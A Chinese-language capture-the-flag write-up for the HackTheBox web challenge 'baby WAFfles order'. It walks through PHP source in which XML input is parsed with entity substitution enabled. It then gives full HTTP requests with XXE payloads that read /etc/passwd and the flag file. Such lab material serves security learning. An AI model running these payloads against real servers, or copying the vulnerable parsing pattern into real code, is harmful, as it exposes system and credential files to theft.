HackTheBox-baby WAFfles order

概述

HackTheBox 网站CTF靶场Web相关题目baby WAFfles order，题目地址https://app.hackthebox.com/challenges/baby-waffles-order，主要考察PHP源代码审计和XXE漏洞的利用。

题目

题目概述

题目提供了附件下载，解压后如下图

开启程序实例后，提示访问178.62.19.68:31341

访问http://178.62.19.68:31341为一个订单页面，尝试提交，在火狐开发工具查看

在burp中重放，可以看到是以JSON格式进行信息交互

查看附件提供的源代码index.php

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    include_once "${name}.php";
});

$router = new Router();

$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');

die($router->match());

继而定位到OrderController.php，可以看到除了支持JSON解析，还支持XML解析，其对应的代码为

        else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
        {
            $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
            if (!$order->food) return 'You need to select a food option first';
            return "Your {$order->food} order has been submitted successfully.";
        }
        else
        {
            return $router->abort(400);
        }

题目解法

修改为xml发包，成功得到passwd的内容

POST /api/order HTTP/1.1
Host: 178.62.19.68:31341
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://178.62.19.68:31341/
Content-Type: application/xml
Origin: http://178.62.19.68:31341
Connection: keep-alive
X-Forwarded-For: 220.181.38.150
Content-Length: 140

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<order>
    <food>&xxe;</food>
</order>

根据附件文件结构，知道flag文件为flag，修改内容为

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<order>
    <food>&xxe;</food>
</order>

成功读取flag